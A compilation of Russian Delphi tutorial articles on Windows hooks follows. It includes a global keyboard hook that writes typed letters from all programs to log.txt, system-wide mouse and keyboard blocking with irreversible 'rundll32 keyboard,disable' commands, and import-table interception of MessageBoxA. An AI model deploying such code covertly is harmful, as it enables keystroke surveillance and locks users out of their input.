Данная функция предназначена для работы с цепочкой функций ловушек. Когда ловушка установлена на определённое событие, то может возникнуть такая ситуация, когда кто-нибудь тоже захочет установить ловушку на это же событие. Когда Вы устанавливаете ловушку при помощи SetWindowsHookEx, то Ваша процедура ловушки добавляется в начало списка процедур ловушек. Поэтому основная задача функции CallNextHookEx заключается в том, чтобы вызвать следующий в списке обработчик ловушки. Когда Ваша процедура ловушки завершится, то она должна вызовать CallNextHookEx, а затем вернуть заданное значение, в зависимости от типа ловушки.
Функция UnhookWindowsHookEx
Данная функция просто напросто удаляет Вашу ловушку. Единственный аргумент этой функции - это дескриптор ловушки, возвращаемы функцией SetWindowsHookEx.
Локальная ловушка
Сперва давайте создадим локальную ловушку. Необходимый для неё код содержится в 'local.pas'. При запуске Hooks.exe будет отображена небольшая форма. Для использования локальной ловушки достаточно нажать кнопку Add/Remove Local Hook на этой форме. После установки локальной ловушки, Вы заметите, что при нажатии и отпускании любой клавиши будет раздаваться звуковой сигнал (естевственно, когда hooks.exe будет иметь фокус. Ведь это локальная ловушка).
Самая первая функция в local.pas - SetupLocalHook, которая соственно и создаёт локальную ловушку, указывая на процедуру ловушки KeyboardHook. В данном случае это простой вызов SetWindowsHookEx, и, если возвращённый дескриптор > 0, указывающий на то, что процедура работает, то сохраняет этот дескриптор в CurrentHook и возвращает true, иначе будет возвращено значение false. Далее идёт функция RemoveLocalHook, которая получает в качестве параметра сохранённый дескриптор в CurrentHook и использует его в UnhookWindowsHookEx для удаления ловушки. Последняя идёт процедура hook, которая всего навсего проверяет - была ли отпущена клавиша и если надо, то выдаёт звуковой сигнал.
Глобальная ловушка
Глобальная ловушка выглядит немного сложнее. Для создания глобальной ловушки нам понадобится два проекта - певый для создания исполняемого файла и второй для создания DLL, содержащей процедуру ловушки. Глобальная ловушка, которая представлена в примере, сохраняет в файле log.txt каждые 20 нажатий клавиш. Чтобы использовать глобальную ловушку, достаточно на форме hook.exe нажать кнопку add/remove global hook. Затем, например, в записной книжке (notepad) достаточно набрать какой-нибудь текст, и Вы увидите, что в log.txt этот текст сохранится.
Наша Dll содержит две процедуры. Первая - это процедура hook, которая идентична для той, которую мы рассмотрели для локальной ловушки. Вторая процедура необходима инициализации dlls, и содержит текущий номер клавиши, которая была нажата, а также дескриптор ловушки, которая была создана.
Исполняемый файл сперва должен загрузить процедуры из DLL, а затем использовать SetWindowsHookEx, чтобы создать глобальную ловушку.
В заключении...
Представленный пример объясняет - как перехватывать события клавиатуры. Чтобы узнать, как использовать ловушки других типов, таких как WH_MOUSE, необходимо разобраться с windows SDK.

Приложения:

library HookDll;

uses
  SysUtils,
  Classes,windows;

var CurrentHook: HHook;
    KeyArray: array[0..19] of byte;
    KeyArrayPtr: integer;
    CurFile: file of byte;
{
GlobalKeyboardHook
------------
This is the hook procedure to be loaded from hooks.exe when you
try and create a global hook. It is similar in structure to that defined
in hook.dpr for creating a local hook, but this time it does not beep!
Instead it stores each key pressed in an array of bytes (20 long). Whenever
this array gets full, it writes it to a file, log.txt and starts again.
}
function GlobalKeyBoardHook(code: integer; wParam: word; lParam: longword): longword; stdcall;
begin
    if code<0 then begin  //if code is <0 your keyboard hook should always run CallNextHookEx instantly and
       GlobalKeyBoardHook:=CallNextHookEx(CurrentHook,code,wParam,lparam); //then return the value from it.
       Exit;
    end;
    //firstly, is the key being pressed, and is it between A and Z
    //note that wParam contains the scan code of the key (which for a-z is the same as the ascii value)
    if ((lParam and KF_UP)=0) and (wParam>=65) and (wParam<=90) then begin
         //store the keycode in the list of keys pressed and increase the pointer
         KeyArray[KeyArrayPtr]:=wParam;
         KeyArrayPtr:=KeyArrayPtr+1;
         //if 20 keys have been recorded, save them to log.txt and start again
         if KeyArrayPtr>19 then begin
            assignfile(CurFile,'log.txt');
            if fileexists('log.txt')=false then rewrite(CurFile) else reset(CurFile); //if log.txt exists, add to it, otherwise recreate it
            blockwrite(CurFile,KeyArray[0],20);
            closefile(CurFile);
            KeyArrayPtr:=0;
         end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);  //call the next hook proc if there is one
    GlobalKeyBoardHook:=0; //if GlobalKeyBoardHook returns a non-zero value, the window that should get
                     //the keyboard message doesnt get it.
    Exit;
end;

{
SetHookHandle
-------------
This procedure is called by hooks.exe simply to 'inform' the dll of
the handle generated when creating the hook. This is required
if the hook procedure is to call CallNextHookEx. It also resets the
position in the key list to 0.

}
procedure SetHookHandle(HookHandle: HHook); stdcall;
begin
    CurrentHook:=HookHandle;
    KeyArrayPtr:=0;
end;

exports GlobalKeyBoardHook index 1,
        SetHookHandle index 2;
begin

end.

unit MainFormUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Local, global,
  StdCtrls;

type
  TMainForm = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

procedure TMainForm.Button1Click(Sender: TObject);
begin
    if GHookInstalled=true then exit; //if a global hook is installed, exit routine
     //if a local hook not installed, then attempt to install one, else attempt to remove one
     if HookInstalled=false then HookInstalled:=SetupLocalHook else HookInstalled:=not(RemoveLocalHook);
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
     HookInstalled:=false;
     GHookInstalled:=false;
     LibLoaded:=false;
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
     if HookInstalled=true then RemoveLocalHook;
end;

procedure TMainForm.Button2Click(Sender: TObject);
begin
     if HookInstalled=true then exit; //if a local hook is installed, exit routine
     //if a local hook not installed, then attempt to install one, else attempt to remove one
     //note that removelocalhook can still be used no matter whether the hook is global or local
     if GHookInstalled=false then GHookInstalled:=SetupGlobalHook else GHookInstalled:=not(RemoveLocalHook);
end;

end.

Взято из http://forum.sources.ru


Использование ловушек, блокировка мышки, клавиатуры и т.д.

Возможные вариации: Любые вопросы, связанные с постановкой хука. Например "Как отследить [что-то]", "Как подменить [какое-то действие]", "Как заблокировать комбинации клавиш, как заблокировать определённые действия", "Как не дать запускаться определённым приложениям, не дать открываться определённым окнам?", "Как получить список запущенных оконных приложений?" и т.д.

Рабочий пример глобальной блокировки правой кнопки мыши:
DLL:

library Project2;
Uses Windows,Messages;
Var SysHook:HHook=0;

Function SysMsgProc(Code:Integer; WParam:LongInt; LParam:LongInt):LongInt; stdcall;
Var Msg:TMessage;
Begin
 IF Code=HC_ACTION then
  Case TMsg(Pointer(LParam)^).Message OF
   WM_RBUTTONDOWN,WM_RBUTTONUP,WM_RBUTTONDBLCLK: TMsg(Pointer(LParam)^).Message:=WM_NULL
   else Result:=CallNextHookEx(SysHook,Code,WParam,LParam);
  End;
end;

procedure Hook(Flag:Boolean); export; stdcall;
Begin
 IF Flag then SysHook:=SetWindowsHookEx(WH_GETMESSAGE,@SysMsgProc,HInstance,0) Else
  Begin
   UnhookWindowsHookEx(SysHook);
   SysHook:=0;
  End;
End;

exports Hook;

{$R *.res}

begin
end.

----------------------------
Project:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, StdCtrls;

type
  MyProcType = procedure (Flag: Boolean); stdcall;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  HDLL:HWND;

implementation

{$R *.dfm}

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
 Shift: TShiftState; X, Y: Integer);
begin
 IF Button=mbRight then ShowMessage('Right mouse key pressed');
end;

procedure TForm1.Button1Click(Sender: TObject);
Var Hook: MyProcType;
Begin
 @Hook:=nil;
 HDLL:=LoadLibrary(PChar('project2.dll'));
 IF HDLL>HINSTANCE_ERROR then
  Begin
   @Hook:=GetProcAddress(HDLL,'Hook');
   Hook(True);
  End else MessageDlg('Ошибка загрузки DLL.',mtError,[mbIgnore],0);
end;

procedure TForm1.Button2Click(Sender: TObject);
Var Hook: MyProcType;
Begin
 @Hook:=nil;
 IF HDLL>HINSTANCE_ERROR then
  Begin
   @Hook:=GetProcAddress(HDLL,'Hook');
   Hook(False);
  End;
End;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 Button2.Click;
end;

end.

Файлы для демонстрации можно взять здесь: http://coolsong.narod.ru/hook.rar
Работает так: при неустановленном хуке правая кнопка работает (о чём свидетельствует нажатие правой кнопки мыши - событие TForm.onMouseDown и сообщение). После установки хука кнопкой "Install", события от мыши перестают обрабатываться (сообщение "Right mouse key pressed" не выдаётся). после снятия хука (кнопка "Remove") - всё возвращается к первоначальному состоянию.

Если требуется перехватывать клавиши, тогда из вышеобозначенной теории нам известны варианты: WH_KEYBOARD, WH_KEYBOARD_LL или WH_GETMESSAGE+WM_CHAR/WM_KEYDOWN/UP
Однако, если требуется перехватить всего лишь отдельную клавишу, будь то одну либо с нажатым Ctrl, Alt, Shift, рациональней для этого воспользоваться назначением горячей клавиши, через RegisterHotKey().
Рабочий пример такого приёма:

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  protected
    procedure hotykey(var msg: TMessage); message WM_HOTKEY;
  end;

var
  Form1: TForm1;
  id, id2: Integer;

implementation

{$R *.DFM}

procedure TForm1.hotykey(var msg: TMessage);
begin
  if (msg.LParamLo = MOD_CONTROL) and (msg.LParamHi = 81) then
    begin
      ShowMessage('Ctrl + Q wurde gedrьckt !');
    end;

  if (msg.LParamLo = MOD_CONTROL) and (msg.LParamHi = 82) then
    begin
      ShowMessage('Ctrl + R wurde gedrьckt !');
    end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  id := GlobalAddAtom('hotkey');
  RegisterHotKey(handle, id, mod_control, 81);

  id2 := GlobalAddAtom('hotkey2');
  RegisterHotKey(handle, id2, mod_control, 82);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  UnRegisterHotKey(handle, id);
  UnRegisterHotKey(handle, id2);
end;

Блокировка клавиатуры/мыши.

Родственная тема, поэтому помещена в этот же вопрос.

Итак, заблокировать можно хуком. Но в некоторых случаях можно обойтись и "малой кровью".
Вы можете использовать ф-ию BlockInput. Она живёт в user32.dll Также она блокирует одновременно и мышь.

Procedure BlockInput(ABlockInput : Boolean); stdcall; external 'USER32.DLL';

BlockInput(True); - заблокировать

BlockInput(False); - разблокировать

Однако имейте ввиду, что BlockInput() не заблокирует CAD. Кроме того, её работа блокируется по нажатию трёх пальцев.Для блокировки CAD в w9x, мы можем использовать режим скринсэйвера, в NT, увы никак.
Ф-ия BlockInput() явилась продолжением ф-ии EnableHardwareInput(), которая как мы знаем использовалась в 16-разрядных приложениях.
Кроме того, для блокировки, мы можем использовать некоторые недокументированные возможности, однако их недастаток в том, что обратно клавиатуру/мышь уже включить нельзя:

"rundll32 keyboard,disable" - заблокироовать клавиатуру
"rundll32 mouse,disable" - заблокировать мышь

Запустить эти команды мы можем самое простое через ShellExecute() или WinExec():
ShellExecute(Application.Handle,'open','C:\Windows\Rundll32.exe',
'команда','C:\Windows',SW_HIDE);

Автор: Song


Перехват API функций, на примере MessageBoxA

DLL:

library Mouse_mes;

uses
  sysutils,
  windows,
  messages;

type
   TImageImportDescriptor=packed record
    OriginalFirstThunk    : DWORD;
    TimeDateStamp         : DWORD;
    ForwarderChain        : DWORD;
    Name                  : DWORD;
    FirstThunk            : DWORD;
  end;
  PImageImportDescriptor=^TImageImportDescriptor;

var filename:array[0..max_path-1] of char;
    hook:HHook=0;
    PEHeader:PImageNtHeaders;
    ImageBase:cardinal;

function MyHookProcedure(hWnd: HWND; lpText, lpCaption: PWideChar; uType: UINT): Integer;
stdcall;
begin
  result:=MessageBoxA(0, 'Notepad', 'my hook', 0);
  //Но уже через нашу табл. импорта
end;

procedure ProcessImports(PImports:PImageImportDescriptor);
    Var
        PImport:PImageImportDescriptor;
        PRVA_Import:LPDWORD;
        ProcAddress:pointer;
        Temp_Cardinal:cardinal;
    begin{1}
      ProcAddress:=GetProcAddress(GetModuleHandle('USER32.DLL'), 'MessageBoxA');
      PImport:=PImports;
      while PImport.Name<>0 do
        begin{2}
          PRVA_Import:=LPDWORD(pImport.FirstThunk+ImageBase);
          while PRVA_Import^<>0 do
          begin{3}
            if PPointer(PRVA_Import)^=ProcAddress
               then
                 begin{4}
                   VirtualProtect(PPointer(PRVA_Import),4,PAGE_READWRITE,Temp_Cardinal);
                   PPointer(PRVA_Import)^:=@MyHookProcedure; //пишем свою...
                  VirtualProtect(PPointer(PRVA_Import),4,Temp_Cardinal,Temp_Cardinal);
                 end;{1}
            Inc(PRVA_Import);
          end;{2}
       Inc(PImport);
   end;{3}
end;{4}

procedure DllEntryPoint(reson:longint);stdcall;
begin
 case reson of
  DLL_PROCESS_ATTACH:
     begin
      DisableThreadLibraryCalls(hInstance);
      ZeroMemory(@FileName, SizeOf(FileName));
      GetModuleFileName(GetModuleHandle(nil), @FileName, SizeOf(FileName));

         if Pos('NOTEPAD.EXE',AnsiUpper(@FileName))<>0 then //сейчас я хочу попробовать все это дело надо  нотепадом
         begin
           ImageBase:=GetModuleHandle(nil);
           PEHeader:=pointer(int64(ImageBase)+PImageDosHeader(ImageBase)._lfanew);//pe header
          ProcessImports(pointer(PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress+ImageBase));
          end;
      end;
  end;
end;

function nexthook(code:integer;wParam,lParam:longint):longint;stdcall;
begin
  result:=callnexthookex(hook,code,wParam,lParam);
end;

procedure sethook(flag:bool);export; stdcall;
begin
 if flag then
    hook:=setwindowshookex(wh_getmessage,@nexthook,hInstance,0)
 else
   begin
    unhookwindowshookex(hook);
    hook:=0;
   end;
end;

exports sethook;

begin
  DLLProc:=@DllEntryPoint;
  DllEntryPoint(DLL_PROCESS_ATTACH)
end.

EXE:

program Project2;
uses windows;

var
   sethook:procedure(flag:bool)stdcall;
   hDll:hModule;

begin
  hDll:=LoadLibrary('Mouse_mes.dll');
  @sethook:=GetProcAddress(hDll, 'sethook');
  sethook(true);
  messagebox(0,'Не закрывай, пока идет работа','',0);
  sethook(false);
  FreeLibrary(hDll);
end.

Автор: Song

Взято из http://forum.sources.ru


Использование HOOK в Дельфи

Что такое НООК?
НООК - это механизм перехвата сообщений, предоставляемый системой Microsoft Windows. Программист пишет специального вида функцию (НООК-функция), которая затем при помощи функции SetWindowsHookEx вставляется на верх стека НООК-функций системы. Ваша НООК-функция сама решает, передать ли ей сообщение в следующую НООК-функцию при помощи CallNextHookEx или нет.

Какие бывает НООК'и?
НООК бывают глобальные, контролирующие всю систему, так и локальные, ориентированные на какой-либо поток (Thread). Кроме того НООК различаются по типу перехватываемых сообщений (подробнее об этом - ниже). НООК несколько подтормаживают систему, поэтому ставить их рекомендуется только при необходимости, и кактолько необходимость в них отпадает - удалять.

Как создавать НООК?
НООК устанавливается в систему при помощи функции SetWindowsHookEx, вот её заголовок:

function SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD): HHOOK;

idHook
константа, определяющая тип вставляемого НООК'а, должна быть одна из нижеследующих констант:
WH_CALLWNDPROC
вставляемая НООК-функция следит за всеми сообщения перед их отпралением в соответствующую оконную функцию
WH_CALLWNDPROCRET
вставляемая НООК-функция следит за всеми сообщениями после их отправления в оконную функцию
WH_CBT
вставляемая НООК-функция следит за окнами, а именно: за созданием, активацией, уничтожением, сменой размера; перед завершением системной команды меню, перед извлечением события мыши или клавиатуры из очереди сообщений, перед установкой фокуса и т.д.
WH_DEBUG
вставляемая НООК-функция следит за другими НООК-функциями.
WH_GETMESSAGE
вставляемая НООК-функция следит за сообщениями, посылаемыми в очередь сообщений.
WH_JOURNALPLAYBACK
вставляемая НООК-функция посылает сообщения, записанные до этого WH_JOURNALRECORD НООК'ом.
WH_JOURNALRECORD
эта НООК-функция записывает все сообщения куда-либо в специальном формате, причем позже они могут быть "воспроизведены" при помощи НООК'а WH_JOURNALPLAYBACK. Это в некотором роде аналог магнитофонной записи сообщений.
WH_KEYBOARD
вставляемая НООК-функция следит за сообщениями клавиатуры
WH_MOUSE
вставляемая НООК-функция следит за сообщениями мыши
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
lpfn
указатель на непосредственно функцию. Обратите внимание, что если Вы ставите глобальный НООК, то НООК-функция обязательно должна находиться в некоторой DLL!!!
hmod
описатель DLL, в которой находится код функции.
dwThreadId
идентификатор потока, в который вставляется НООК
Подробнее о НООК-функциях смотри справку по Win32API.

Как удалять НООК?
НООК удаляется при помощи функции UnHookWindowsEx.

Пример использования НООК.
Ставим НООК, следящий за мышью (WH_MOUSE). Программа следит за нажатием средней кнопки мыши, и когда она нажимается, делает окно, находящееся непосредственно под указателем, поверх всех остальных (TopMost). Код самой НООК-функции помещен в библиотеку lib2.dll, туда же помещены и функции Start - для установки НООК, и Remove - для удаления НООК.

Файл sticker.dpr
program sticker;
 uses windows, messages;
var
 wc : TWndClassEx;
 MainWnd : THandle;
 Mesg : TMsg;
//экспортируем две функции из библиотеки с НООК'ами
procedure Start; external 'lib2.dll' name 'Start';
procedure Remove; external 'lib2.dll' name 'Remove';

function WindowProc(wnd:HWND; Msg : Integer; Wparam:Wparam; Lparam:Lparam):Lresult; stdcall;
var
 nCode, ctrlID : word;
Begin
 case msg of
 wm_destroy :
   Begin
   Remove;//удаляем НООК
   postquitmessage(0); exit;
   Result:=0;
   End;
 else
   Result:=DefWindowProc(wnd,msg,wparam,lparam);
 end;
End;

begin
 wc.cbSize:=sizeof(wc);
 wc.style:=cs_hredraw or cs_vredraw;
 wc.lpfnWndProc:=@WindowProc;
 wc.cbClsExtra:=0;
 wc.cbWndExtra:=0;
 wc.hInstance:=HInstance;
 wc.hIcon:=LoadIcon(0,idi_application);
 wc.hCursor:=LoadCursor(0,idc_arrow);
 wc.hbrBackground:=COLOR_BTNFACE+1;
 wc.lpszMenuName:=nil;
 wc.lpszClassName:='WndClass1';

 RegisterClassEx(wc);

 MainWnd:=CreateWindowEx(0,'WndClass1','Caption',ws_overlappedwindow,
           cw_usedefault,cw_usedefault,cw_usedefault,cw_usedefault,0,0,
           Hinstance,nil);
 ShowWindow(MainWnd,CmdShow);
 Start;//вставляем НООК

 While GetMessage(Mesg,0,0,0) do
  begin
  TranslateMessage(Mesg);
  DispatchMessage(Mesg);
  end;
end.

Файл lib2.dpr

library lib2;
uses
 windows, messages;
var
 pt : TPoint;
 theHook : THandle;
function MouseHook(nCode, wParam, lParam : integer) : Lresult; stdcall;
var
 msg : PMouseHookStruct;
 w : THandle;
 style : integer;
Begin
 if nCode<0 then
   begin
   result := CallNextHookEx(theHook, nCode, wParam, lParam);
   Exit;
   end;
 msg := PMouseHookStruct(lParam);
 case wParam of
 WM_MBUTTONDOWN :
   pt := msg^.pt;
 WM_MBUTTONUP :
   begin
   w := WindowFromPoint(pt);
   style := GetWindowLong(w, GWL_EXSTYLE);
   if (style and WS_EX_TOPMOST) <> 0 then
     begin //уже поверх всех - сделать обычным
     ShowWindow(w, sw_hide);
     SetWindowPos(w, HWND_NOTOPMOST, 0,0,0,0, SWP_NOMOVE or SWP_NOSIZE OR SWP_SHOWWINDOW);
     end
   else
     begin //сделать поверх остальных
     ShowWindow(w, sw_hide);
     SetWindowPos(w, HWND_TOPMOST, 0,0,0,0, SWP_NOMOVE OR SWP_NOSIZE OR SWP_SHOWWINDOW);
     end;
   end;
 end;
 Result := CallNextHookEx(theHook, nCode, wParam, lParam);
End;

procedure Start;
begin
 theHook := SetWindowsHookEx(wh_mouse, @mouseHook, hInstance, 0);
 if theHook = 0 then
   messageBox(0,'Error!','Error!',mb_ok);
end;

procedure Remove;
begin
 UnhookWindowsHookEx(theHook);
end;

exports
 Start index 1 name 'Start',
 Remove index 2 name 'Remove';
end.

Всё.

(С) Автор статьи: Sergey Stolyarov
Development и Дельфи (http://MDelphi.far.ru).

Автор: StayAtHome

Взято с Vingrad.ru http://forum.vingrad.ru


Interprocess communication на примере keyboard hook (статья)

Взаимодействие процессов

Архитектура Win32 подразумевает максимальную изоляцию выполняющихся приложений друг от друга. Каждое приложение выполняется в своем виртуальном адресном пространстве, которое полностью обособлено и не имеет доступа к памяти других программ. Однако иногда возникает необходимость в передаче данных их одного выполняющегося процесса в другой. Рассмотрим подробно одну из таких задач, а затем основные способы связи между процессами и рекомендации по их применению.

Пишем перехватчик клавиатуры
Итак, стоит задача – перехватить события от клавиатуры во всех выполняющихся процессах. Для перехвата событий Win32 API предоставляет механизм, называемый «ловушками» (hook). Ловушка может быть установлена на многие события, возникающие в Windows, такие, как события от мыши, создание окон, вызов оконной процедуры и т.п. Для её установки используется функция:

function SetWindowsHookEx(
  idHook: Integer;      // Идентификатор, показывающий какая
                        // ловушка устанавливается
  lpfn: TFNHookProc;    // Адрес функции-ловушки
  hmod: HINST;          // Идентификатор модуля, в котором находится
                        // процедура-ловушка
  dwThreadId: DWORD     // Идентификатор потока, для которого ловушка
                        // устанавливается
): HHOOK; stdcall;      // Функция возвращает идентификатор ловушки.

Рассмотрим эти параметры подробнее:
IdHook Целое число, инструктирующее Windows какое событие должно вызывать срабатывание «ловушки». Должно быть одной из констант, WH_XXX, описанных в Windows.pas. Нас интересует WH_KEYBOARD
lpFn Адрес функции, которая будет автоматически вызываться каждый раз при возникновении события.
hMod Идентификатор модуля, в котором расположена функция. Если ловушка устанавливается на события, происходящие в других процессах (а не только в вызывающем), то функция lpfn должна находиться в DLL. Эта DLL загружается в адресное пространство каждого процесса Windows. Если ловушка ставится только на события, происходящие в вызывающем процессе, то функция может находиться прямо в EXE файле, а в качестве этого параметра передается 0.
dwThreadId Идентификатор потока, события в котором нас интересуют. Если этот параметр равен 0, то ловушка ставится на все потоки в системе.
Поскольку нам нужны события во всех потоках – необходимо написать DLL, содержащую функцию-ловушку. В эту же DLL удобно поместить функцию для включения и отключения ловушки.
Функция-ловушка для WH_KEYBOARD должна соответствовать прототипу:

function KeyboardProc(
  Code: Integer;   // Определяет способ обработки события
                   // если Code < 0, функция должна немедленно
                   // вызвать CallNextHookEx и возвратить
                   // её результат
  wParam: WPARAM;  // Содержит код клавиши
  lParam: LPARAM   // Содержит набор битовых флагов с дополнительной
                   // информацией
): Integer;        // Функция должна вернуть 0 для разрешения Windows
                   // дальнейшей обработки события или другое число
                   // для её запрета
stdcall;           // Функция должна соответствовать соглашению о
                   // вызовах stdcall

В простейшем случае функция должна содержать следующий код:

function KeyboardProc(Code: Integer; wParam: WPARAM;
  lParam: LPARAM): Integer; stdcall;
begin
  if Code < 0 then
    Result := CallNextHookEx(HookHandle, Code, wParam, lParam );
end;

HookHandle – это глобальная переменная, которая должна содержать идентификатор ловушки, полученный от SetWindowsHookEx. Для установки ловушки напишем функцию:

function SetHook(Activate : BOOL): BOOL; stdcall; export;
begin
  Result := FALSE;
  if Activate then
  begin
    HookHandle := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc,
      hInstance, 0);
    Result := (HookHandle <> 0);
  end
  else
  begin
    if HookHandle <> 0 then
    begin
      Result := UnhookWindowsHookEx(HookHandle);
      if Result then
        HookHandle := 0;
    end;
  end;
end;

Здесь возникает первая сложность. Для корректной обработки событий в каждом из процессов DLL загружается в адресное пространство всех процессов в системе. Если объявить HookHandle как глобальную переменную внутри DLL, то когда эта DLL будет загружена в адресное пространство разных процессов – в каждом из них она будет иметь свой набор глобальных переменных. Таким образом, в вызывающем процессе HookHandle будет равен идентификатору ловушки, а в остальных – нулю. Необходимо организовать доступ к этой переменной из всех процессов. Лучше всего использовать механизм отображения файлов на память (memory mapped files). Он заключается в том, что можно установить соответствие между каким-либо участком адресного пространства и участком в файле на диске. При этом, все изменения, сделанные в памяти отображаются на файл. Более того, если несколько процессов отобразили свою память на один и тот же участок файла – изменения, сделанные любым из них немедленно становятся доступными остальным т.е. этот участок памяти становится общим для всех этих процессов. Такой общий блок переменных удобно создавать прямо в swap-файле Windows.
Для отображения памяти на файл используются функции:

function CreateFileMapping(
  hFile: THandle;  // Идентификатор ранее открытого файла. Если hFile
                   // равен –1, то объект создается в swap-файле
  lpFileMappingAttributes: PSecurityAttributes;
                   // Аттрибуты защиты. Для наследования аттрибутов
                   // вызывающего процесса можно передать NIL
  flProtect,       // Права на чтение-запись
  dwMaximumSizeHigh,         // Старшие 32 разряда размера объекта
  dwMaximumSizeLow: DWORD;   // Младшие 32 разряда размера объекта
  lpName: PChar    // Имя объекта
): THandle; stdcall;

Функция возвращает идентификатор объекта-отображения файла на память. Далее этот идентификатор надо передать функции:

function MapViewOfFile(
  hFileMappingObject: THandle; // Идентификатор объекта-отображения
  dwDesiredAccess: DWORD;      // Тип доступа к файлу
  dwFileOffsetHigh,            // Старшие 32 разряда смещения в файле
  dwFileOffsetLow,             // Младшие 32 разряда смещения в файле
  dwNumberOfBytesToMap: DWORD  // Количество байт для отображения.
                               // Если параметр равен 0 -
                               // отображается весь файл
): Pointer; stdcall;           // Возвращается адрес отображенного
                               // участка памяти

Таким образом, необходимо в каждом из процессов, нуждающихся в обмене данными при загрузке выполнить следующий код:

type
  PKeyboardHookInfo = ^TKeyboardHookInfo;
  TKeyboardHookInfo = packed record
    HookHandle: THandle;
  end;

const
  UniqueHookId = 'sMyCoolKeyboardHook';

var
  CommonArea: PKeyboardHookInfo = NIL;
  Mapping : THandle = 0;

...

  Mapping := CreateFileMapping(-1, NIL, PAGE_READWRITE, 0,
    SizeOf(CommonArea), UniqueHookId);
  CommonArea := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS,
    0, 0, 0);

а по завершении:

if Assigned(CommonArea) then
  UnmapViewOfFile(CommonArea);
if hMapping <> 0 then
  CloseHandle(Mapping);

Удобно оформить этот код в виде отдельного модуля, поместив создание и уничтожение объекта, соответственно в его секции initialization и finalization, которые автоматически выполняются при загрузке модуля в память и выгрузке его из памяти. Назвав этот модуль Exchange, и поместив его в список используемых модулей основной программы и DLL, мы автоматически получим в них глобальную переменную CommonArea, указывающую на разделяемую память.
Внимание! Если Вы используете такой модуль в разных проектах, то каждый из них должен содержать свою копию этого модуля с различными значениями UniqueHookId
Имея этот модуль, мы можем переписать функции KeyboardProc и SetHook

function KeyboardProc(Code: Integer; wParam: WPARAM;
  lParam: LPARAM): Integer; stdcall;
begin
  if Code < 0 then
    Result := CallNextHookEx(CommonArea^.HookHandle,
      Code, wParam, lParam );
end;

HookHandle – это глобальная переменная, которая должна содержать идентификатор ловушки, полученный от SetWindowsHookEx. Для установки ловушки напишем функцию:

function SetHook(Activate : BOOL): BOOL; stdcall; export;
begin
  Result := FALSE;
  if Activate then
  begin
    CommonArea^.HookHandle := SetWindowsHookEx(WH_KEYBOARD,
      @KeyboardProc, hInstance, 0);
    Result := (CommonArea^.HookHandle <> 0);
  end
  else
  begin
    if CommonArea^.HookHandle <> 0 then
    begin
      Result := UnhookWindowsHookEx(CommonArea^.HookHandle);
      if Result then
        CommonArea^.HookHandle := 0;
    end;
  end;
end;

Теперь наша ловушка вполне работоспособна, и можно приступать к насыщению её функциональностью. Поскольку функция может быть вызвана в адресном пространстве другого процесса, она не может вызывать функции главной программы. Простейший способ известить программу о срабатывании ловушки – послать сообщение какому-то из её окон. Но какому окну, и какое сообщение? Рассмотрим эти вопросы по отдельности.

Какому окну?
Для того чтобы послать окну сообщение, необходимо знать его идентификатор (handle). Можно, конечно, послать сообщение сразу всем окнам Windows, указав в качестве идентификатора окна HWND_BROADCAST, но делать это по каждому нажатию клавиши – значит неоправданно увеличить нагрузку на всю систему. Поэтому, лучше выделить в области обмена, наряду с HookHandle еще одну переменную – FormHandle – в которую вызывающая программа перед установкой ловушки должна записать идентификатор окна, обрабатывающего сообщения от ловушки.

Какое сообщение?
В Windows одновременно выполняются десятки программ. Поэтому, особенно при получении сообщений от других процессов всегда есть некоторая вероятность, что жестко закодированные номера сообщений (типа WM_APP + 1234) в разных программах совпадут, что приведет к их некорректной работе. Поэтому, для целей обмена между процессами лучше получить общий уникальный номер сообщения. Для этого служит функция:

function RegisterWindowMessage(
  lpString: PChar  // уникальная текстовая строка
): UINT; stdcall;

Функция проверяет, было ли уже зарегистрировано сообщение с параметром lpString. Если еще нет – «выдается» уникальный в пределах сессии Windows номер, если да – возвращается ранее полученный номер.
Получение номера удобно разместить в тот же модуль, что и область обмена, а в качестве lpString использовать тот же идентификатор UniqueHookId.
Таким образом, модуль, предназначенный для обмена, принимает окончательный вид:

unit Exchange;

interface

uses Windows;

type
  PKeyboardHookInfo = ^TKeyboardHookInfo;
  TKeyboardHookInfo = packed record
    FormHandle: THandle;
    HookHandle: THandle;
  end;

var
  WMKeyHook: Integer = 0;
  CommonArea: PKeyboardHookInfo = NIL;

implementation

var
  Mapping: THandle = 0;

const
  UniqueHookId = '{F61D1A60-4DB8-11D3-89E9-9579FCF8927A}';
// Для генерации уникального идентификатора удобно использовать GUID
// Просто нажмите Ctrl+Shift+G в среде разработки Delphi –
// и Вы получите статистически уникальную строку

initialization
  Mapping := CreateFileMapping(-1, NIL, PAGE_READWRITE, 0,
    SizeOf(CommonArea), UniqueHookId);
  CommonArea := MapViewOfFile(Mapping, FILE_MAP_ALL_ACCESS,
    0, 0, 0);
  WMKeyHook := RegisterWindowMessage(UniqueHookId);

finalization
  if Assigned(CommonArea) then
    UnmapViewOfFile(CommonArea);
